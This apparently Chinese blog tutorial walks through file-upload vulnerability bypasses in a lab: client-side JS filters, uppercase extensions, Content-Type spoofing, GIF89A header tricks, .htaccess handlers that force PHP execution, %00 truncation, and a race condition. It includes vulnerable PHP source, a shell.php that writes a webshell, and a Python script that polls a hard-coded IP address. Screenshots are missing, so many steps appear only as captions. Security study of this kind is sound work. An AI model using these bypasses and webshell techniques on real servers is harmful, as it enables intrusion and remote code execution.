https://juejin.cn/post/7068931744547733517


文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。一般都是指上传Web脚本能够被服务器解析的问题。因此我们可以在浏览器禁止JavaScript,也可以上传允许的后缀然后抓包修改。
上传含有木马的文件
该文件可以解析
JS检测
JavaScript检测常见于用户选择文件上传的场景。JavaScript会检测上传文件的后缀是否可以上传,检测过程中上传文件的数据包并不会发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
制作php木马文件

上传

不允许上传

制作png木马文件
上传
转成repeater

转发png文件

无法解析
修改文件后缀为php,发送。访问发现解析了。

蚁剑连接

进入后台

源码(看网页源代码)
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你还没有选择任何文件,不能上传!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
script>
文件名大小写
Windows系统下,文件名中的大小写不敏感。tesT.php=TESt.PHP
linux系统下,文件名是敏感的。tesT.php和TESt.PHP是两个不同的文件
上传含有一句话木马的png文件

不能上传php文件

将文件名改为大写,上传成功

解析成功

蚁剑连接

源码
if(is_uploaded_file($_FILES['upfile']['tmp_name']))
{
$upfile=$_FILES["upfile"];
//获取数组里面的值
$name=$upfile["name"];//上传文件的文件名
$type=substr($name, strrpos($name, '.')+1);//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
//判断是否为图片
if($type=="php") //只是匹配php,我们可以大写PHP,Php绕过
{
echo "";
die();
}
else
{
$error=$upfile["error"];//上传后系统返回的值
echo "================
";
echo "上传文件名称是:".$name."
";
echo "上传文件类型是:".$type."
";
echo "上传文件大小是:".$size."
";
echo "上传后系统返回的值是:".$error."
";
echo "上传文件的临时存放路径是:".$tmp_name."
";
echo "开始移动上传文件
";
//把上传的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo "================
";
echo "上传信息:
";
if($error==0)
{
echo "文件上传成功啦!";
echo "
图片预览:
";
echo "
.$destination.">";
}
}
}
?>
在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
HTML文档标记:
text/html;
JPEG图片标记:image/jpeg;
GIF图片标记:image/gif;
js文档标记:application/javascript;
xml文件标记:application/xml;
前端直接上传png格式的文件,此时的Content-Type就为image/png

修改为文件名为php

成功,连蚁剑

源码
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
//获取数组里面的值
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
//判断是否为图片类型,检查content-type是否符合
switch ($type){
case 'image/pjpeg':$okType=true;
break;
case 'image/jpeg':$okType=true;
break;
case 'image/gif':$okType=true;
break;
case 'image/png':$okType=true;
break;
}
if($okType){
/**
* 0:文件上传成功
* 1:超过了文件大小,在php.ini文件中设置
* 2:超过了文件的大小MAX_FILE_SIZE选项指定的值
* 3:文件只有部分被上传
* 4:没有文件被上传
* 5:上传文件大小为0
*/
$error=$upfile["error"];//上传后系统返回的值
echo "================
";
echo "上传文件名称是:".$name."
";
echo "上传文件类型是:".$type."
";
echo "上传文件大小是:".$size."
";
echo "上传后系统返回的值是:".$error."
";
echo "上传文件的临时存放路径是:".$tmp_name."
";
echo "开始移动上传文件
";
//把上传的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo "================
";
echo "上传信息:
";
if($error==0){
echo "文件上传成功啦!";
echo "
图片预览:
";
echo "
.$destination.">";
}elseif ($error==1){
echo "超过了文件大小,在php.ini文件中设置";
}elseif ($error==2){
echo "超过了文件的大小MAX_FILE_SIZE选项指定的值";
}elseif ($error==3){
echo "文件只有部分被上传";
}elseif ($error==4){
echo "没有文件被上传";
}else{
echo "上传文件大小为0";
}
}else{
echo "请上传jpg,gif,png等格式的图片!";
}
}
?>
文件头检测
文件头检测是使用对于文件内容的验证机制,这种方法利用每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型。
上传

添加GIF89A


访问,解析成功

蚁剑连接

源码
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
......
//判断是否为图片
if(!exif_imagetype($_FILES['upfile']['tmp_name'])){ //调用exif_imagetype()检查文件头
echo "";
die();
}else{
......
}
}
?>
.htaccess文件(下面任意一句都可以)
SetHandler application/x-httpd-php //含义:将所有的文件都当做PHP执行
AddType application/x-httpd-php .jpg //含义:将jpg文件解析为php文件
AddType application/x-httpd-php .html //含义:将html文件也能执行.php文件
AddType application/x-httpd-php .txt //含义:普通的文本文档也能执行.php文件
成功上传了含有一句话木马的png文件

但是无法解析png文件中的php代码

上传.htaccess文件,这个文件没有被过滤。SetHandler application/x-httpd-php将所有的文件都当做PHP执行

刚刚png文件无法解析,但是现在png文件中的php代码解析成功了

蚁剑

源码
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
......
$type=substr($name, strrpos($name, '.')+1);//上传文件的类型
......
//判断是否为图片
if (preg_match('/php/i', $type)) { // i 使php大小写都能匹配
echo "";
die();
}
......
}
?>
文件名截断
00x0是十六进制表示方法,是ASCII码为0的字符。在有些函数处理时,会把这字符当作结束符。系统在对文件名的读取时,如果遇到00x0,就会认为读取已结束。在PHP5.3之后的版本中完全修复了00截断,并且00截断受限于GPC,addslashes函数。
添加前缀

发包,观测返回的结果

把%00编码一下

编码结果

分析一下

蚁剑连接

可以观察到只有6.php,没有6.php_74032572.jpg

源码
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
$name=$upfile["name"];
$type=substr($name, strrpos($name, '.')+1);
$size=$upfile["size"];
$tmp_name=$upfile["tmp_name"];
$uptypes=array('jpg','jpeg','png','pjpeg','gif','bmp');
$path = 'up/'.$_POST[path].'_'.rand().'.jpg'; //将 输入的前缀 + 随机生成的数字 作为最终保存的文件名
......
move_uploaded_file($tmp_name,$path);
......
}
?>
观察上传文件

分析一下源码逻辑
if (isset($_POST['submit'])){
$allow_ext = array("gif","png","jpg"); //允许的后缀
$uploaddir = 'uploads/';
$filename = $uploaddir.$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'],$filename); //1 以上传时的文件名保存
$file = "./".$filename;
echo "文件上传成功: ".$file."\n
";
sleep(1); //这是我加的,为了爆破减少时间,我加了个时间,增加成功率
$ext = array_pop(explode(".",$_FILES['upfile']['name']));
if (!in_array($ext,$allow_ext)){ //2 判断上传文件的后缀是否符合条件
unlink($file);
die("此文件类型不允许上传已删除"); //3 不符合条件就删除
}
}else{
die("");
}
?>
代码逻辑:先以上传时文件名保存,然后检测文件是否符合条件,如果不符合条件就删除该文件。意味着:上传的文件曾经存在过服务器中,我们有可能在它被删除之前成功访问。
做法:不断上传可以写新的马的shell.php文件,在上传成功后访问shell.php文件,访问的过程中shell.php代码解析然后新建7.php文件写马。这样即使原先的shell.php文件被删除,我们还有新写入的马子。这个过程打的就是时间差。【注意:并不是上传了shell.php文件就写马,必须访问它,在访问的过程中解析才进行写马操作。】
正常上传png文件进行抓包,send to intruder,进行爆破

条件爆破点

写shell.php的内容

echo 11;
fputs(fopen('7.php','w'),'');
?>
第一句:输出11,这是用脚本访问shell.php当做标记用的。
第二句:新建7.php,并将内容写入其中。
设置爆破条件

脚本访问shell.php,在访问的过程解析php代码写入马
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
test = requests.get("http://20.210.90.167:81/upload/uploads/shell.php ") #不断访问上传的php文件,为了让shell.php进行代码解析,写入新的马
if "11" in test.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()

开始爆破

打开upload目录,会看到PHP文件短暂存在过。【这是前几关getshell后进入后台的】

写马成功,蚁剑连接
